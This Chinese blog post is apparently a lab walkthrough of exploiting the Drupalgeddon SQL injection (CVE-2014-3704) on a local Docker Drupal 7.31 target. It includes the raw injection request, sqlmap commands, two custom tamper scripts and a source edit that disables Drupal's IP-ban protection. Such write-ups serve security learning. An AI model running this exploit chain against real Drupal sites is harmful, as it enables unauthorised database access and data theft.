sqlmap注入Drupal < 7.32 “Drupalgeddon“ SQL注入漏洞(CVE-2014-3704)
一、复现教程Drupal 7.32 Drupalgeddon SQL注入漏洞CVE-2014-3704Drupal是一个使用PHP编写的免费开源的Web内容管理框架在GNU通用公共许可证下分发。在Drupal Core 7.32版本之前的7.x版本中数据库抽象API中的expandArguments函数没有正确构造预处理语句这允许远程攻击者通过包含精心构造的键的数组进行SQL注入攻击。参考链接https://www.drupal.org/SA-CORE-2014-005https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2014-3704环境搭建执行如下命令启动一个Drupal 7.31服务器docker compose up -d环境启动后访问http://your-ip:8080将会看到Drupal的安装向导使用默认配置进行安装。注意MySQL数据库名为drupal数据库用户名和密码均为root地址为mysql安装完成后即可访问首页漏洞复现该SQL注入漏洞无需身份认证可以通过发送以下请求来执行恶意SQL语句POST /?qnodedestinationnode HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 120 ​ passlolform_build_idform_iduser_login_blockopLoginname[0 or updatexml(0,concat(0xa,user()),0)%23]bobname[0]a如图所示SQL语句报错信息中包含了用户数据二、sql注入尝试分析手工注入payload发现是updatexml报错注入确定数据库是MySQL。修改payload确保不是单一成功。passlolform_build_idform_iduser_login_blockopLoginname[0 or updatexml(0,concat(0xa,user()),0)%23]bobname[0]a“[0 or updatexml(0,concat(0xa,user()),0)%23]”是核心命令但是其他数据也不能减少否则不行。然后就是使用sqlmap注入可以使用--data注入也可以使用-r数据包注入方便起见直接-rPOST /?qnodedestinationnode HTTP/1.1 Host: 192.168.98.247:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.98.247:8080/install.php?profilestandardlocaleen Sec-GPC: 1 Connection: close Upgrade-Insecure-Requests: 1 If-Modified-Since: Tue, 18 Nov 2025 08:36:38 0000 If-None-Match: 1763454998-gzip Priority: u0, i Content-Type: application/x-www-form-urlencoded Content-Length: 120 passlolform_build_idform_iduser_login_blockopLoginname[0 or updatexml(0,concat(0xa,user()),0)%23]bobname[0]a命令python sqlmap.py -r E:\sqlmap-librity\-r\test.txt -p op --dbmsmysql --techniqueE --proxyhttp://127.0.0.1:8080 --level 5 --risk 3 -v 3结果发现状态码都是200肯定不可能。经过各种尝试发现ip被封了。经过查阅资料发现Drupal本身就带有检查机制会自动判断是否被攻击发现同一个ip多次访问失败就会封禁此ip。这还是我第一次遇到问了AI说可以使用代理ip当时笔者找了好久之前的大佬写的tamper脚本让sqlmap使用代理池的tamper不过这个脚本太古老了那个网站都失效了。笔者自己找了一些代理准备尝试突然意识到不对劲了这是我手机热点创建的局域网属于私有的外网无法访问压根没用办法使用代理。其实也可以不过很难要用手机设置其他ip。本来这就是个靶场改源码就行了笔者最开始想到了但是笔者代码能力太差了一直不敢尝试最后其他方法都试遍了没辙了才去改了源码。三、源码修改笔者靶场是搭建在Ubuntu虚拟机上的使用docker容器搭建的。先进入靶场文件夹然后docker exec -it 容器号/容器名 /bin/bash此时就进入了靶场内然后找到要修改的文件cd /var/www/html/modules/user文件名是user.module如果安装过vi或者其他编辑器的话可以直接修改笔者这里没安装把文件复制到虚拟机里面docker cp 号/名:文件路径 ./user.module然后直接在虚拟机进行修改在这个文件里面找到user_login_final_validate($form, $form_state)函数然后在函数第一行直接加上return; 这样这个函数就不会进行下面的任务也就是去除了ip检测与封禁功能。保存之后docker cp ./user.module 号/名文件路径这样之后就会覆盖原来的文件如果害怕改错了可以提前进行备份。docker是虚拟机的命令不是靶场环境的然后删除原来的缓存rm -rf sites/default/files/cache之后再用sqlmap注入测试就不会进行IP封禁了。四、sqlmap注入成功其实这个靶场除了改源码真的算是很简单了不过要细心耐心笔者都差点放弃了。python sqlmap.py -r E:\sqlmap-librity\-r\test.txt -p op --tamperCVE-2014-3704.py --dbmsmysql --techniqueE --proxyhttp://127.0.0.1:8080 --level 5 --risk 3 -v 3使用上面那个注入命令test.txtPOST /?qnodedestinationnode HTTP/1.1 Host: 192.168.98.247:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.98.247:8080/install.php?profilestandardlocaleen Sec-GPC: 1 Connection: close Upgrade-Insecure-Requests: 1 If-Modified-Since: Tue, 18 Nov 2025 08:36:38 0000 If-None-Match: 1763454998-gzip Priority: u0, i Content-Type: application/x-www-form-urlencoded Content-Length: 125 passlolfrom_build_idform_iduser_login_blockopCVE-2014-3704.py (这个tamper脚本是以前用过的改一下就行):#!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): if not payload: # 如果 payload 为空如探测请求提供一个真值条件保持语句正确 return Loginname[0((1))%23]bobname[0]a # 核心将 sqlmap 的 payload 嵌入到手工构造的语句中 formatted_payload Loginname[0 {} %23]bobname[0]a.format(payload) return formatted_payloadpasslolform_build_idform_iduser_login_blockopLoginname[0 or updatexml(0,concat(0xa,user()),0)%23]bobname[0]a这段数据每一个都是一个对应的选择一般的payload都是在之后这个很特殊在参数name[]里,所以没法-p指定name只能使用tamper脚本把Loginname[0加到前面然后-p指定op参数。经过sqlmap注入发现所有回显也都还是200状态码什么原因导致的呢经过研究发现有两处会导致错误第一个这个是sqlmap在产生payload时候会在最后加上-- xxxx经过尝试这个靶场不能使用--注释只能使用#。怎么改呢tamper脚本呗直接将payload的--都替换成#就行--to#.py:#!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ PRIORITY.NORMAL # 定义脚本优先级 def dependencies(): pass def tamper(payload, **kwargs): if payload: # 替换 -- 注意有一个空格为 # payload payload.replace(-- , #) # 替换 URL 编码形式的空格 --%20 为 # payload payload.replace(--%20, #) # 也处理可能没有紧跟空格的情况但 sqlmap 通常会有 payload payload.replace(--, #) return payload第二个还一个呢在burp suite一个个参数尝试经过半天的尝试发现是被编码了导致这个payload整体出错了。知道原因了要怎么解决呢笔者还是先想到了tamper脚本经过四个ai生成的脚本尝试都不行。最后想到burp suite的proxy-options-Match and Replace利用burp suite的改包功能将sqlmap生成的所有包都进行修改将%26替换成就解决了问题。看到上图有两个替换没这是浪费笔者仨小时才发现的不能顾头不顾腚后面那个也会被编码照样无法成功。然后就直接爆破python sqlmap.py -r E:\sqlmap-librity\-r\test.txt -p op --tamperCVE-2014-3704.py,--to#.py --dbmsmysql --techniqueE --proxyhttp://127.0.0.1:8080 --level 5 --risk 3 -v 4 --code500 --dbs-v 4会实时显示sqlmap发送的所有的包而3只显示payload

相关新闻

用知识图谱构建电影问答系统:Neo4j+Python实战指南

用知识图谱构建电影问答系统:Neo4j+Python实战指南

简介:这是一套面向高校计算机及相关专业学生(如人工智能、自动化、电子信息等)的毕业设计级知识图谱实践项目,聚焦电影领域问答场景,解决结构化语义查询与自然语言理解落地问题。资源共45个文件,涵盖7个核心…

2026/10/11 1:26:28 阅读更多 →
让插图更好看的3种模式:AutoFigure AI图像增强功能(none/code/code2prompt)完整解析

让插图更好看的3种模式:AutoFigure AI图像增强功能(none/code/code2prompt)完整解析

让插图更好看的3种模式:AutoFigure AI图像增强功能(none/code/code2prompt)完整解析 【免费下载链接】AutoFigure 项目地址: https://gitcode.com/gh_mirrors/au/AutoFigure AutoFigure 是一个开源的 AI 科学插图生成系统&#xff08…

2026/10/11 1:26:28 阅读更多 →
基于CNN的图像风格迁移毕设实战:VGG19原理、PyTorch源码与调参避坑指南

基于CNN的图像风格迁移毕设实战:VGG19原理、PyTorch源码与调参避坑指南

简介:这是一份面向计算机、人工智能、通信工程等专业学生与教师的毕业设计级项目源码,基于CNN卷积神经网络实现图像与视频风格迁移,适合课程设计、毕设答辩或项目初期立项演示,也便于具备一定Python基础的学习者在此基础上二次开发…

2026/10/11 1:25:27 阅读更多 →

最新新闻

基于Spring Boot + Vue的蘑菇百科系统设计与实现指南

基于Spring Boot + Vue的蘑菇百科系统设计与实现指南

毕设选题年年有人纠结,年年有人踩坑。如果你正盯着“XX管理系统”这类老掉牙的题目发愁,或者担心做纯网页展示类项目显得工作量不足,我强烈建议你认真看看“基于Spring Boot Vue的蘑菇百科系统”这个方向。它既有信息管理系统的完整业务链路…

2026/10/11 2:23:00 阅读更多 →
PJ85718DM与PIC18LF46K40在HVAC温控系统中的高可靠设计

PJ85718DM与PIC18LF46K40在HVAC温控系统中的高可靠设计

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/11 2:23:00 阅读更多 →
Kubernetes 内存超分与防爆死指南:基于 cgroup v2 memory.high 的平滑降级实操

Kubernetes 内存超分与防爆死指南:基于 cgroup v2 memory.high 的平滑降级实操

在 Kubernetes 生产集群的算力成本治理中,CPU 属于典型的“可压缩资源(Compressible Resource)”,当算力超卖或并发突刺时,CFS 调度器最多让应用稍微慢一点、延迟稍微抖动一下,进程本身并不会消亡。而内存则…

2026/10/11 2:23:00 阅读更多 →
Git误操作急救:reflog与fsck恢复丢失代码

Git误操作急救:reflog与fsck恢复丢失代码

git误操作这种事,凡是写过代码的人多多少少都遇到过。可能是午休回来手一抖,把分支 reset 到了一周前;也可能是合并的时候顺手 rebase 了一下,push 时才被远程仓库一口回绝;更常见的是git checkout -- .之后&#xff0…

2026/10/11 2:23:00 阅读更多 →
Linux进程控制实战:fork、exec、wait与僵尸进程排查指南

Linux进程控制实战:fork、exec、wait与僵尸进程排查指南

写Linux程序的人,几乎都要跟进程控制打交道。fork、exec、exit、wait这四个词,翻过书的人都能念出来,但真正把它们组合起来用对,才是区分“看过”和“会写”的分水岭。我见过不少开发者在多进程服务里栽跟头,要么子进程…

2026/10/11 2:23:00 阅读更多 →
Linux网络性能优化实战:从内核参数调整到tcpdump抓包排查

Linux网络性能优化实战:从内核参数调整到tcpdump抓包排查

某个深夜,线上接口的P99延迟从60ms一路冲到700ms,我第一时间就想做一轮Linux网络性能优化与监控,于是把网上那套内核参数调优脚本挨个灌进去,tcp_tw_reuse、tcp_max_syn_backlog全都改了。结果延迟没降,反而有机器连接…

2026/10/11 2:22:00 阅读更多 →

日新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/11 0:00:27 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/11 0:00:27 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/11 0:00:27 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/11 0:00:27 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/11 0:00:27 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/11 0:00:27 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/10 5:23:50 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/9 21:32:20 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/10 10:38:42 阅读更多 →